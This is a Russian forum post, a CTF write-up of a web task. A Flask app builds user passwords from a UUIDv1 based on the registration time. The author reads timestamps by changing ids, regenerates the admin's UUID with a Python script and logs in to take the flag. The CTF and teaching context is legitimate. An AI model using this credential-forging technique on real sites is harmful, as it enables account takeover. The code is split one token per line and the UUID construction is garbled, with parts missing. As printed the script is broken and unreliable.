ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Задания/Квесты/CTF/Конкурсы (https://forum.antichat.xyz/forumdisplay.php?f=112)
-   -   Форум предсказателей (WriteUp) (https://forum.antichat.xyz/showthread.php?t=1644971)

vov4ick 03.05.2025 01:27

Приветствую форумчан, сегодня я покажу решение таска из категории Веб «Форум предсказателей».

https://forum.antichat.xyz/attachmen...6220921438.png

Основная цель - это сайт с формой регистрации и авторизации:

https://forum.antichat.xyz/attachmen...6217962655.png

К данному таску также идет код приложения, что намного облегчает нам жизнь.
Стоит обратить внимание на эту часть кода:

Python:


Код:

@app.route
(
'/register'
,
methods
=
[
'GET'
,
'POST'
]
)
def
register
(
)
:
if
request
.
method
==
'POST'
:
username
=
request
.
form
[
'username'
]
secret_word
=
request
.
form
[
'secret_word'
]
if
User
.
query
.
filter_by
(
username
=
username
)
.
first
(
)
:
return
"Такой пользователь уже существует!"
exact_time
=
datetime
.
utcnow
(
)
timestamp
=
exact_time
.
strftime
(
"%Y-%m-%d %H:%M:%S.%f"
)
password
=
generate_uuid
(
timestamp
)
user
=
User
(
username
=
username
,
password
=
password
,
created_at
=
exact_time
,
secret_word
=
secret_word
)
db
.
session
.
add
(
user
)
db
.
session
.
commit
(
)
return
render_template
(
'register_success.html'
,
username
=
username
,
password
=
password
)
return
render_template
(
'register.html'
)

Основная уязвимость этого подхода заключается в том, что пароль генерируется на основе метки времени (дата и время, когда был зарегистрирован пользователь).
Это делает пароль предсказуемым, так как метка времени — это доступное и легко определяемое значение.
В данном случае ее также можно отследить просто манипулируя id :

https://forum.antichat.xyz/attachmen...6218912065.png

Далее, имея метку, мы можем преобразовать ее в UUID :

Python:


Код:

from
datetime
import
datetime
import
uuid
def
generate_uuid
(
timestamp_str
)
:
try
:
timestamp
=
datetime
.
strptime
(
timestamp_str
,
"%Y-%m-%d %H:%M:%S.%f"
)
uuid_epoch
=
datetime
(
1582
,
10
,
15
)
intervals
=
int
(
(
timestamp
-
uuid_epoch
)
.
total_seconds
(
)
*
1e7
)
clock_seq
=
0x89ca
node
=
0x000c297433a0
uuid1
=
uuid
.
UUID
(
fields
=
(
intervals
&
0xFFFFFFFF
,
(
intervals
>>
32
)
&
0xFFFF
,
(
(
intervals
>>
48
)
&
0x0FFF
)
|
(
1
>
8
,
clock_seq
&
0xFF
,
node
)
)
return
str
(
uuid1
)
except
ValueError
as
e
:
print
(
f"Ошибка:{e}"
)
return
"Ошибка: время (timestamp)."
timestamp_str
=
"2025-01-22 00:42:26.053996"
generated_uuid
=
generate_uuid
(
timestamp_str
)
print
(
"Generated UUID:"
,
generated_uuid
)

На выходе мы получаем готовый пароль:

https://forum.antichat.xyz/attachmen...6219867344.png

Авторизуемся под админом и забираем флаг:

https://forum.antichat.xyz/attachmen...6219728531.png

Задача оказалась довольно простой, всем спасибо за внимание.


Время: 12:54